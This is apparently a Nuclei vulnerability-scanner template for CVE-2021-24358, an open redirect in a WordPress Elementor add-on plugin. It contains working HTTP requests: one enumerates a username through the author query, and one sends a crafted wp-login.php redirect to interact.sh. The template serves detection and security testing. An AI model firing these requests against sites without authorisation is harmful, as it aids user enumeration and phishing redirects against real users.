id: CVE-2021-24358

info:
  name: Plus Addons for Elementor Page Builder < 4.1.10 - Open Redirect
  author: dhiyaneshDk
  severity: medium
  description: WordPress Plus Addons for Elementor Page Builder before 4.1.10 did not validate a redirect parameter on a specifically crafted URL before redirecting the user to it, leading to an open redirect issue.
  reference:
    - https://wpscan.com/vulnerability/fd4352ad-dae0-4404-94d1-11083cb1f44d
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24358
    - https://theplusaddons.com/changelog/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24358
    cwe-id: CWE-601
    epss-score: 0.00255
    cpe: cpe:2.3:a:posimyth:the_plus_addons_for_elementor:*:*:*:*:*:wordpress:*:*
    epss-percentile: 0.62645
  metadata:
    max-request: 2
    framework: wordpress
    vendor: posimyth
    product: the_plus_addons_for_elementor
  tags: wp,wpscan,cve,cve2021,wordpress,redirect,wp-plugin,elementor

http:
  - raw:
      - |
        GET /?author=1 HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-login.php?action=theplusrp&key=&redirecturl=http://interact.sh&forgoturl=http://interact.sh&login={{username}} HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1

    extractors:
      - type: regex
        name: username
        group: 1
        regex:
          - 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
        internal: true
        part: body

      - type: regex
        name: username
        group: 1
        regex:
          - 'ion: https:\/\/[a-z0-9.]+\/author\/([a-z]+)\/'
        internal: true
        part: header